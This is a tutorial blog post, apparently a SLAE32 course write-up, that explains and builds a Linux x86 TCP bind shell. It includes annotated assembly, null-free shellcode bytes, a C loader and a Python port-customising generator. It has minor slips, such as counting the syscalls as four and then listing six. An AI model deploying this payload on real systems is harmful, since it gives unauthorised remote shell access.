In this blog post, we will be covering the process behind writing and analysing an x86 TCP bind shell for Linux in assembly.
This post will be the first in a series of posts created for the SLAE32 certification course provided by Pentester Academy.
Overview
The code for the TCP bind shell will consist of the following components:
- Linux x86 TCP bind shell shellcode, written in Assembly.
- Shellcode skeleton code, written in C.
- Wrapper script for customising the listener port, written in Python.
We will begin by analysing a simple example of a Linux x86 TCP bind shell written in C, from the following blog post:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int host_sockid; // socket file descriptor
int client_sockid; // client file descriptor
struct sockaddr_in hostaddr; // server aka listen address
int main()
{
// Create new TCP socket
host_sockid = socket(PF_INET, SOCK_STREAM, 0);
// Initialize sockaddr struct to bind socket using it
hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol address
hostaddr.sin_port = htons(4444); // server port, converted to network byte order
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte order
// Bind socket to IP/Port in sockaddr struct
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
// Listen for incoming connections
listen(host_sockid, 2);
// Accept incoming connection
client_sockid = accept(host_sockid, NULL, NULL);
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(client_sockid, 0);
dup2(client_sockid, 1);
dup2(client_sockid, 2);
// Execute /bin/sh
execve("/bin/sh", NULL, NULL);
close(host_sockid);
return 0;
}
We compile the code with gcc:
gcc -fno-stack-protector -z execstack example.c -o example
To make sure the code does what we expect, we briefly run it and connect to our local machine, on port 4444:
We connect to the port and note that we are able to perform typical /bin/sh commands.
TCP bind shell syscalls
Analysing the C code, we identify four main syscalls that are performed to initiate a TCP bind shell. The syscalls are:
- socket()
- bind()
- listen()
- accept()
- dup2()
- execve()
We will cover each of these syscalls by studying their arguments and calling conventions, beginning with an analysis of the call to socket() in assembly.
Creating a socket
The socket() call is used to create an endpoint for communication. A successful call to socket() returns a file descriptor which refers to the created socket endpoint.
According to the system call reference file stored in 32-bit Linux at /usr/include/i386-linux-gnu/asm/unistd_32.sh, the syscall number for socketcall is 102.
If we look at the man page for socketcall, we note that the syscall takes two parameters and has the following function header:
int socketcall(int call, unsigned long *args);
Syscall | Argument | Man Reference |
---|---|---|
socketcall | call | Determines which socket function to invoke |
socketcall | args | Points to a block containing the actual arguments |
First, we look at the call parameter. The implementation of sockets in linux can be found in the /usr/include/linux/net.h header file.
Within this file, we find that to call the socket function, the call argument must have a value of 1.
To understand further how a socket is defined, we can refer to its man page:
According to the above manpage entry, the socket function header is as follows:
int socket(int domain, int type, int protocol);
socket() arguments
Next, we look at each of the parameters to the socket() function.
domain
The domain argument denotes the protocol family which will be used for communication. In our case, as we are looking to establish a connection over the IPv4 protocol, this value will be set to AF_INET.
We can find the corresponding numerical value of AF_INET in locally stored header files. For the version of 32-bit Kali Linux we are working with, the reference to AF_INET can be located in /usr/include/i386-linux-gnu/bits/socket.h.
type
The next argument is the type of socket. As we are setting up bind shell over TCP, we should use the SOCK_STREAM option, which is defined as being 'sequenced, reliable and connection-based' (i.e., suited to TCP).
Based on its definition in /usr/include/i386-linux-gnu/bits/socket_type.h, type should be set to 1.
protocol
The final argument, protocol can be set to its default value of 0.
Based on the description given in the manual page, normally only a single protocol provides support a particular socket type. Therefore setting protocol to 0 sets the protocol to the default value based on SOCK_STREAM.
socket() argument structure
A breakdown of the arguments to socket() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
socket | domain | The protocol family which will be used for communication | PF_INET |
socket | type | Specifies the communication semantics | SOCK_STREAM |
socket | protocol | Specifies a particular protocol to be used with the socket | 0 |
Now that we know the initial values to create a socket, we can implement this in assembly.
Calling socket()
By default, a syscall in 32-bit Linux will use the registers as follows:
- EAX - Syscall Number
- EBX - 1st Argument
- ECX - 2nd Argument
- EDX - 3rd Argument
- ESI - 4th Argument
- EDI - 5th Argument
In case of our system call to socketcall(), our register values will be set as follows:
- EAX - system call number (102)
- EBX - call - socket (1)
- ECX - *args - a pointer to the domain, type and arguments
As ECX must contain a pointer to our socket() arguments, we will first push them onto the stack in reverse order, and set ECX to point to the top of the stack where the arguments start:
- domain - PF_INET - 2
- type - SOCK_STREAM - 1
- protocol - default - 0
The overall argument structure for calling socket will follow the below layout.
Note: decimal values have been converted into their hexadecimal equivalents, e.g. the syscall value 102 = 0x66.
Syscall | Argument | Value |
---|---|---|
socketcall | syscall | 0x66 |
socketcall | call | 0x1 |
socket | domain | 0x2 |
socket | type | 0x1 |
socket | protocol | 0x0 |
socket() assembly code
The assembly code for the socket() function is as follows:
_socket:
; Clear EAX register and set al to syscall number 102 in hex.
xor eax, eax
mov al, 0x66
; Clear EBX register and set bl to 0x1 for socket.
xor ebx, ebx
mov bl, 0x1
; Clear ECX register and push values for protocol, type and domain to the stack
xor ecx, ecx
push ecx; protocol - 0 (0x00000000)
push 0x1; type - 1 (0x1)
push 0x2; domain - PF_INET (0x2)
; set ECX to the top of the stack to point to args
mov ecx, esp
; Execute socket() syscall
int 0x80
We can now link and compile the program using nasm and ld as follows:
socket() analysis
To understand the assembly code on a per-instruction basis and debug the compiled program, we can use gdb.
As we step through the program, it helps to print out the registers, stack and disassembled instructions to keep track of where we are in the program. We can do this by defining hook-stop:
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049000
>end
Now, every time we step through the program, the values of our specified registers are printed along with the top four stack values and the disassembled assembly instructions.
We can trace the program flow right up until the syscall to socket() is made, so that we ensure that the arguments are aligned correctly in the required registers and on the stack.
We reach the end of the function and find that EAX has been populated with the value of the socket descriptor, 0x3. This indicates a successful call to socket().
Binding the socket
Now, we look at binding the socket to a chosen address, port and protocol family.
The bind() function is used to assign a name to a given socket. When a socket is created, it initially has no address assigned to it. The bind() function is designed to assign an address to the socket which it does using its file descriptor.
The bind() function has the following function header:
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Before we get into the arguments for the bind function, we note that the call argument of socketcall() will now be set to the value for bind().
We look at the /usr/include/linux/net.h file and note that bind has a call value of 2.
bind() arguments
Next, we look at each of the parameters to the bind() function.
sockfd
The sockfd parameter is the file descriptor of the socket. This value was returned following a successful call to the socket() function and, following the syscall, is stored in the EAX register.
addr
The addr parameter is a pointer to the desired family, port and address properties of our socket.
The structure of addr is loosely defined in the bind() manual entry.
Referring to the C example source code, we note that the sockaddr structure is referenced by the hostaddr value.
// Initialize sockaddr struct to bind socket using it
hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol address
hostaddr.sin_port = htons(4444); // server port, converted to network byte order
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte order
// Bind socket to IP/Port in sockaddr struct
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
Based on the C source code, the sockaddr_in structure has three properties:
- sin_family - Address family
- sin_port - TCP port
- sin_address - IPv4 address
For the purpose of initially simplifying our shellcode, we will set the port value to 4444, with the address set to listen across all interfaces as denoted by INADDR_ANY.
addrlen
The addrlen value specifies the size of the address structure pointed to by addr in bytes. This will be 16 (0x10).
bind() argument structure
A breakdown of the arguments to bind() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
socketcall | call | Syscall number | - |
socketcall | args | Syscall arguments | - |
bind | sockfd | Socket file descriptor | host_sockid |
bind | addr | Socket address family, host IP address and port | &hostaddr |
bind | addrlen | Size in bytes of addr | sizeof(hostaddr) |
Additionally, the values pointed to by addr (sockaddr_in) are as follows:
Struct | Argument | Man Reference | Value |
---|---|---|---|
sockaddr_in | sin_family | Address family | 0x2 |
sockaddr_in | sin_port | TCP port to listen on in network byte order | 0x5c11 |
sockaddr_in | sin_addr | Host IP address in network byte order | 0x00000000 |
Now that we know the initial values to bind the socket, we can implement it in assembly.
Calling bind()
In case of our system call to socketcall():
- EAX - system call number (102)
- EBX - call argument - bind (2)
- ECX - *args - bind arguments
To begin, we must push the elements of the sockaddr_in structure to the stack in reverse order, starting with sin_addr.
- sockfd - Stored in EAX after call to socket(). We will save this value by moving it to the EDX register.
- addr - We will store this value in the ESI register.
- sin_family - AF_INET (2)
- sin_port - 4444 (0x5c11)
- sin_addr - INADDR_ANY (0x00000000)
- addrlen = 16 (0x10)
The overall argument structure for calling bind() will be as follows:
Syscall | argument | Description | Value |
---|---|---|---|
socketcall | syscall | Syscall value for socketcall | 0x66 |
socketcall | call | Socketcall value for bind | 0x2 |
bind | sockfd | Socket file descriptor | 0x3 |
bind | addr | Pointer to sockaddr_in structure | 2, 0x5c11, NULL |
bind | addrlen | Length of addr in bytes | 0x10 |
bind() assembly code
The assembly code for the bind() function is as follows:
_bind:
; Clear and set EDX to socket file descriptor returned by socket()
xor edx, edx
mov edx, eax
; Clear EAX register and set al to syscall number 102 in hex.
xor eax, eax
mov al, 0x66
; Clear EBX register and set bl to 0x2 for bind()
mov bl, 0x2
; Push sockaddr arguments for call to bind()
xor ecx, ecx
push ecx; sin_addr - INADDR_ANY (0x00000000)
push word 0x5c11; sin_port - 4444 (0x5c11)
push word 0x2; sin_family - AF_INET (2)
; Save pointer to sockaddr to ESI register
mov esi, esp
push 0x10; addrlen - 16 (0x10)
push esi; addr
push edx; sockfd
; Set ECX to the top of the stack to point to args
mov ecx, esp;
; Execute bind() syscall
int 0x80
bind() analysis
We can now step through our implementation of bind() using gdb.
We once again define hook-stop for the scope of the bind() assembly code:
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049013
>end
As we step through, we note that the instructions save the socket file descriptor to EDX as intended:
The syscall is set up for the call to bind(), having moved 0x2 to the bl register:
The values for the listening address, port and protocol family are pushed to the stack:
The ESP value is moved to the ECX register, so that ECX is pointing to the addr values as per the function arguments for bind().
After the syscall is made, the value 0x0 is moved into EAX, indicating that the call was successful.
Next, we look at the listen and accept syscalls.
Listening for connections
Now, we look at the call to the listen() function, which is used to listen for connections on the created socket.
The listen() function has the following function header:
int listen(int sockfd, int backlog);
Querying the socketcall documentation in net.h, we note that the socketcall number for listen() has a value of 4.
listen() arguments
Next, we look at each of the parameters to the listen() function.
sockfd
The sockfd argument is a file descriptor that refers to the socket we are going to listen on.
This value can be set to the file descriptor of the previously established socket. Following the previous call to bind(), the socket descriptor was saved to the EDX register.
backlog
The backlog argument refers to the maximum number of pending connections for the socket.
In case a connection request is made when this number is exceeded, the client will receive an ECONNREFUSED response.
listen() argument structure
A breakdown of the arguments to listen() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
socketcall | call | Syscall number | - |
socketcall | args | Arguments | - |
listen | sockfd | Socket file descriptor | host_sockid |
listen | backlog | Maximum number of socket connections | 2 |
Now that we know the initial values to set up the listener, we can implement this in assembly.
Calling listen()
In case of our system call to socketcall():
- EAX - system call number (102)
- EBX - call argument - listen (4)
- ECX - *args - listen arguments
To begin, we must push the values of backlog and sockfd to the stack in reverse order.
- sockfd - stored in EDX after call to bind(). We will push this value to the stack for use with listen()
- backlog - arbitrary, we set this to 2 (0x2).
The overall argument structure for calling listen() will be as follows:
Syscall | argument | Description | Value |
---|---|---|---|
socketcall | syscall | Syscall value for socketcall | 0x66 |
socketcall | call | Socketcall value for listen | 0x4 |
listen | sockfd | Socket file descriptor | 0x3 |
listen | backlog | Maximum number of pending connections | 0x2 |
listen() assembly code
The assembly code for the listen() function is as follows:
_listen:
; Clear EAX regster and set al to syscall number 102 in hex.
mov al, 0x66
; Clear EBX register and set bl to 0x4 for listen()
mov bl, 0x4
; Push arguments to stack for call to listen()
push byte 0x2
push edx
; set ECX to the top of the stack to point to args
mov ecx, esp
; Execute listen() syscall
int 0x80
listen() analysis
We can now step through our implementation of listen() using gdb.
Defining hook-stop for the scope of the listen() assembly code:
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049031
>end
The syscall is set up for the call to listen(), having moved 0x4 to the bl register:
The values for the backlog and socket descriptor are pushed to the stack, where ECX will point to them.
The ESP value is moved to the ECX register, so that ECX is pointing to the correct values as per the function arguments for listen().
We note that the value of the EAX register, which stores the return value is 0, indicating a successful call to listen().
Next, we look at the accept syscall, which is the final parameter we need to implement the initial TCP bind connection.
Accepting a connection
Next, we look at the call to the accept() function, which is used to accept a connection request made by a client.
The accept() function has the following header:
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
Querying the socketcall documentation in net.h indicates that the socketcall for accept() has a value of 5.
accept() arguments
Next, we look at each of the parameters to the accept() function.
sockfd
The sockfd parameter is the file descriptor of the socket. This value was returned following a successful call to the listen() function and, following the syscall, is stored in the EDX register.
addr
The addr argument is a pointer to the sockaddr structure. This structure is populated by the operating system with the address of the connecting socket. This means it does not need to be specified by the programmer.
addrlen
The addrlen argument is a pointer to the size of addr. This value is also populated by the OS so will not be provided by the programmer.
accept() argument structure
A breakdown of the arguments to accept() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
socketcall | call | Syscall number | - |
socketcall | args | Arguments | - |
accept | sockfd | Socket file descriptor | host_sockid |
accept | addr | Socket address family, host IP address and port | NULL |
accept | addrlen | Size in bytes of addr | NULL |
Now that we know the initial values to accept connections, we can implement this in assembly.
Calling accept()
In case of our system call to socketcall():
- EAX - system call number (102)
- EBX - call argument - accept (5)
- ECX - *args - accept arguments
To begin, we must push the values of addrlen, addr and sockfd to the stack in reverse order. The values of addrlen and addr will be NULL.
- sockfd - stored in EDX after call to listen(). We will push this value to the stack to be used once again.
- addr - NULL
- addrlen - NULL
The overall argument structure for calling accept() will be as follows:
Syscall | Argument | Description | Value |
---|---|---|---|
socketcall | syscall | Syscall value for socketcall | 0x66 |
socketcall | call | Socketcall value for accept | 0x5 |
accept | sockfd | Socket file descriptor | 0x3 |
accept | addr | Pointer to sockaddr_in structure | 0x0 |
accept | addrlen | Length of addr in bytes | 0x0 |
accept() assembly code
The assembly code for the accept() function is as follows:
_accept:
; Clear EAX register and set al to syscall number 102 in hex.
mov al, 0x66
; Clear EBX register and set bl to 0x5 for accept()
mov bl, 0x5
; Clear ECX and push arguments for call to accept()
xor ecx, ecx
push ecx; addrlen - NULL
push ecx; addr - NULL
push edx; sockfd - stored in EDX
; Set ECX to stack for call to accept()
mov ecx, esp
; Execute accept() syscall
int 0x80
accept() analysis
We can now step through our implementation of accept() using gdb.
We once again define our hook-stop for the scope of the accept() assembly code:
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x804903c
>end
The syscall is set up for the call to accept(), having moved 0x5 to the bl register:
The arguments to accept() are then pushed to the stack.
The ESP value is moved to the ECX register, so that ECX is pointing to the addr values as per the function arguments for accept().
This time when the syscall is made, the program appears to hang. This is because after the call to accept() the program awaits a connection from a client.
In a separate terminal, we can use netcat to connect to localhost on TCP port 4444.
nc localhost 4444
When we do this and check gdb again, we see that the program continues execution and finishes.
The EAX register containing the return value of the call to accept() is populated with the value 0x4, which corresponds to the socket descriptor for the connected client socket.
Making the shell interactive
Now that we have a working bind shell implementation in assembly, we next work on making it interactive.
The example C program does this by setting the file descriptors for the client socket to the STDIN, STDOUT and STDERR on the host system.
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(client_sockid, 0);
dup2(client_sockid, 1);
dup2(client_sockid, 2);
The manual entry for this functionality is as follows:
The dup2() function, which is used by the C program has the following function header:
int dup2(int oldfd, int newfd);
To locate the syscall number for dup2(), we can query unistd_32.h and grep for the function name like so:
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
#define __NR_dup2 63
We determine the syscall number of dup2() is 63, which in hex is 0x3F.
dup2() arguments
Next, we look at each of the parameters to the dup2() function.
oldfd
The oldfd argument is a file descriptor. In this case, we set it to the file descriptor of the established socket.
This value can be set to the file descriptor of the previously established socket. Following the call to accept(), the socket descriptor was saved to the EDX register.
newfd
The newfd argument is the file descriptor we are redirecting into the socket.
As we are aiming to redirect STDIN, STDOUT and STDERR to the socket connection, this value will be set to 0, 1 and 2 on each subsequent syscall.
dup2() argument structure
A breakdown of the arguments to dup2() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
dup2 | oldfd | Socket file descriptor | host_sockid |
dup2 | newfd | New file descriptor | 0, 1 and 2 |
Calling dup2()
In case of our system call to dup2():
- EAX - system call number (63)
- EBX - oldfd, which is the sockid returned by the call to accept()
- ECX - newfd, which will iterate over 0, 1 and 2 for STDIN, STDOUT and STDERR
dup2() assembly code
The assembly code for the dup2() function is as follows:
_dup2:
; Push the EAX register containing the socket file descriptor returned from accept()
push eax
; Clear EAX register and set al to syscall number 63 in hex.
mov al, 0x3f
pop ebx; POP socket file descriptor into EBX for dup2 syscall
xor ecx, ecx; Clear ECX register for initial redirection of STDIN (0)
int 0x80; Execute dup2() syscall
; Set dup2() syscall for STDOUT
mov al, 0x3f
mov cl, 0x1
int 0x80
; Set dup2() syscall for STDERR
mov al, 0x3f
mov cl, 0x2
int 0x80
dup2() analysis
We can now step through our implementation of dup2() using gdb.
Defining hook-stop for the scope of the dup2() assembly code:
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049049
>end
Note: We once again have to initiate a client connection in order to resume execution after the call to accept()
To begin, the value of EAX, which contains the connecting client socket descriptor is pushed to the stack.
As the syscall number for dup2() will need to occupy EAX, we initially pop the value of the client socket descriptor into the EBX register to save it:
We prep the EAX, EBX and ECX registers for the syscall to duplicate STDIN, set in ECX as the value 0x0:
We repeat the setup to perform the syscall for STDOUT, with ECX set to 0x1:
Finally we perform the syscall for STDERR, with ECX set to 0x2:
On each subsequent syscall, the EAX register returns the value of the new file descriptor (0 for STDIN, 1 for STDOUT, 2 for STDERR).
Getting a shell
Now that we have a working bind connection over TCP which performs proper I/O redirection, we can implement a shell.
Once the client connects to our waiting socket, the program needs to execute a shell program such as /bin/sh to spawn a shell.
To do this, we are going to use the execve() syscall.
As per the C shellcode, the execve() call is as follows:
// Execute /bin/sh
execve("/bin/sh", NULL, NULL);
The manual entry for the execve functionality is as follows:
The execve function has the following function header:
int execve(const char *pathname, char *const argv[], char *const envp[]);
To locate the syscall number for execve(), we can again query the unistd_32.h file:
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve 11
#define __NR_execveat 358
We determine the syscall number of execve() is 11, which in hex is 0xb.
execve() arguments
Next, we look at each of the parameters to the execve() function.
pathname
The pathname argument is used to refer to the null-terminated file path of the program executed by execve().
This value is pushed to the stack in little-endian format. We will point this value to the filepath of /bin/sh.
To maintain stack alignment, we will push the string ''//bin/sh' which has a length of 8. In doing so, we can cleanly push this value to the stack in two instructions.
argv
The argv argument is an array of pointers to strings to be passed to the new program as command-line arguments.
In this case, as we are just looking to implement a call to /bin/sh, we will leave this as NULL.
envp
The envp argument is an array of pointers to strings to be passed as the environment of the new program.
Once again, as we are just looking to implement a call to /bin/sh, we can leave this as NULL.
execve() argument structure
A breakdown of the arguments to execve() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
execve | call | Syscall number | - |
execve | pathname | Filepath of the program to execute | "/bin/sh" |
execve | argv | Command-line arguments of the program | NULL |
execve | envp | Environment of the new program | NULL |
Calling execve()
In case of our system call to execve():
- EAX - system call number (11)
- EBX - pathname ("//bin/sh" in reverse)
- ECX - argv (set to NULL)
- EDX - envp (set to NULL)
Reversing the pathname
In order to abide by the little-endian format, we must push values in reverse order to the stack.
We can reverse the pathname and put it in little endian format using the below python code snippet.
#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length : ' +str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]
for item in stringList[::-1] :
print item[::-1] + ' : ' + str(item[::-1].encode('hex'))
We can use this script to reverse the string "//bin/sh" and encode it in hex, so that we may include it in our assembly.
Note: as mentioned previously, we have prepended the pathname with an additional forward slash "/" to make the string length as 8. This allows us to push the string evenly and maintain stack alignment.
python2 reverse.py "//bin/sh"
String length : 8
hs/n : 68732f6e
ib// : 69622f2f
The output of the program gives us the two values we need to push to the stack, 0x68732f6e and 0x69622f2f.
execve() assembly code
The assembly code for the execve() function is as follows:
_execve:
; Clear EAX register and set al to syscall number 11 in hex.
mov al, 0xb
; Push pathname string to the stack and set the EBX register to it
xor ebx, ebx
push ebx; NULL terminate the string
push 0x68732f6e; hs/n - 0x68732f6e
push 0x69622f2f; ib// - 0x69622f2f
mov ebx, esp;
; Clear the ECX and EDX registers for argv and envp
xor ecx, ecx
xor edx, edx
; Execute execve() syscall
int 0x80
execve() analysis
We can now step through our implementation of execve() using gdb.
Note: We once again have to initiate a client connection in order to resume execution after the call to accept()
The syscall is set up for the call to execve(), having moved 0xb to the bl register:
The null-terminated string value of '//bin/sh' is pushed to the stack in preparation for the call to execve():
The ESP value is moved to the EBX register, so that EBX is pointing to the null-terminated string used for the pathname argument:
The ECX and EDX registers are both cleared, as they are provided as the NULL argv and env arguments:
Finally, the syscall to execve() is made, and a call is made to the /bin/sh program:
We connect on the client side, and obtain a fully functioning bind shell.
Complete assembly code
The final assembly implementation of our TCP bind shell is as follows:
; bind_tcp_shell.nasm
; Author: Jack McBride (PA-6483)
; Blog: https://jacklgmcbride.co.uk/blog
;
; Purpose: SLAE32 exam assignment
;
; Assignment 1: x86 TCP Bind Shell
global _start
section .text
_start:
; Linux x86 bind tcp shell
; set up socket
; set up bind
; set up listen
; set up accept
_socket:
; Clear EAX register and set al to syscall number 102 in hex.
xor eax, eax
mov al, 0x66
; Clear EBX register and set bl to 0x1 for socket.
xor ebx, ebx
mov bl, 0x1
; Clear ECX register and push values for protocol, type and domain to the stack
xor ecx, ecx
push ecx; protocol - 0 (0x00000000)
push 0x1; type - 1 (0x1)
push 0x2; domain - PF_INET (0x2)
; set ECX to the top of the stack to point to args
mov ecx, esp
; Execute socket() syscall
int 0x80
_bind:
; Clear and set EDX to socket file descriptor returned by socket()
xor edx, edx
mov edx, eax
; Clear EAX register and set al to syscall number 102 in hex.
xor eax, eax
mov al, 0x66
; Clear EBX register and set bl to 0x2 for bind()
mov bl, 0x2
; Push sockaddr arguments for call to bind()
xor ecx, ecx
push ecx; sin_addr - INADDR_ANY (0x00000000)
push word 0x5c11; sin_port - 4444 (0x5c11)
push word 0x2; sin_family - AF_INET (2)
; Save pointer to sockaddr to ESI register
mov esi, esp
push 0x10; addrlen - 16 (0x10)
push esi; addr
push edx; sockfd
; Set ECX to the top of the stack to point to args
mov ecx, esp;
; Execute bind() syscall
int 0x80
_listen:
; Clear EAX regster and set al to syscall number 102 in hex.
mov al, 0x66
; Clear EBX register and set bl to 0x4 for listen()
mov bl, 0x4
; Push arguments to stack for call to listen()
push byte 0x2
push edx
; set ECX to the top of the stack to point to args
mov ecx, esp
; Execute listen() syscall
int 0x80
_accept:
; Clear EAX register and set al to syscall number 102 in hex.
mov al, 0x66
; Clear EBX register and set bl to 0x5 for accept()
mov bl, 0x5
; Clear ECX and push arguments for call to accept()
xor ecx, ecx
push ecx; addrlen - NULL
push ecx; addr - NULL
push edx; sockfd - stored in EDX
; Set ECX to stack for call to accept()
mov ecx, esp
; Execute accept() syscall
int 0x80
_dup2:
; Push the EAX register containing the socket file descriptor returned from accept()
push eax
; Clear EAX register and set al to syscall number 63 in hex.
mov al, 0x3f
pop ebx; POP socket file descriptor into EBX for dup2 syscall
xor ecx, ecx; Clear ECX register for initial redirection of STDIN (0)
int 0x80; Execute dup2() syscall
; Set dup2() syscall for STDOUT
mov al, 0x3f
mov cl, 0x1
int 0x80
; Set dup2() syscall for STDERR
mov al, 0x3f
mov cl, 0x2
int 0x80
_execve:
; Clear EAX register and set al to syscall number 11 in hex.
mov al, 0xb
; Push pathname string to the stack and set the EBX register to it
xor ebx, ebx
push ebx; NULL terminate the string
push 0x68732f6e; hs/n - 0x68732f6e
push 0x69622f2f; ib// - 0x69622f2f
mov ebx, esp;
; Clear the ECX and EDX registers for argv and envp
xor ecx, ecx
xor edx, edx
; Execute execve() syscall
int 0x80
Assembly and linkage
We can assemble and link our TCP bind shell program as follows:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# nasm -f elf32 -o tcp_bind_shell.o tcp_bind_shell.nasm
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# ld -o tcp_bind_shell tcp_bind_shell.o
Executing the shellcode
Next, we can extract the raw shellcode from our tcp_bind_shell binary and insert it into our C shellcode loader.
Our shellcode loader is a simple C program designed to print the length of our shellcode, and direct execution to it:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"SHELLCODE";
int main()
{
printf("Shellcode Length: %dn", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
To obtain the raw shellcode bytes of our TCP bind shell, we use an excellent objdump one liner from CommandlineFu.
objdump -d ./tcp_bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1\xcd\x80\x50\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
We embed our shellcode into the code variable of our C program:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1\xcd\x80\x50\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main()
{
printf("Shellcode Length: %dn", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Finally, we compile the our C program using gcc:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Finally, we can test the shellcode, confirming that we are able to connect to the bind shell on TCP port 4444.
Modifying the port
In most cases, the user wants to be able to choose which port they want the bind shell to be listening on.
To compensate for this, below is a Python wrapper script which takes a 'port' argument and modifies the tcp_bind_shell.nasm file to assemble the shellcode with this new value. The script then outputs the shellcode to the console and performs cleanup of the created artifacts.
import argparse
import sys
import os
def convert_to_hex(port):
# Get hex value of port number
val = hex(port)[2::]
# If the length is not divisible by two e.g. if a three-digit
# port such as 443 (0x1bb) is chosen, pad with an additional 0.
if not len(val) % 2 == 0:
val = "0" + val
# Convert port to little endian format
b = bytearray.fromhex(val)[::-1]
port_le = ''.join(format(x, '02x') for x in b)
return "0x" + port_le
def set_port(port):
port = convert_to_hex(port)
asm = open("tcp_bind_shell_x86.nasm", 'rt')
data = asm.read()
data = data.replace('PORT', port)
asm.close()
asm = open('tmp.nasm', 'wt')
asm.write(data)
asm.close()
def gen_shellcode():
stream = os.popen("""objdump -d tcp_bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'""")
shellcode = stream.read().rstrip()
return shellcode
def print_shellcode(shellcode, port):
print("[*] Generating shellcode for TCP bind shell on port %s" % port)
print("[*] Shellcode length: %d bytes" % (len(shellcode.replace("\\x", "")) /2))
print("[*] Checking for NULL bytes...\n%s" % ("[-] NULL bytes found." if "00" in shellcode else "[+] No NULL bytes detected!"))
print(shellcode)
def main():
parser = argparse.ArgumentParser(description='Generate x86 TCP bind shell shellcode.')
parser.add_argument('-p', '--port', type=int, help='Local port for TCP bind shell to listen on.')
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit()
# Modify the port in tcp_bind_shell.nasm
set_port(args.port)
# Link and assemble code
os.system('nasm -f elf32 -o tcp_bind_shell_x86.o tmp.nasm')
os.system('ld -o tcp_bind_shell_x86 tcp_bind_shell_x86.o')
# Dump the shellcode using objdump
shellcode = gen_shellcode()
# Print shellcode
print_shellcode(shellcode, args.port)
# Cleanup
os.system('rm tmp.nasm')
os.system('rm tcp_bind_shell_x86.o')
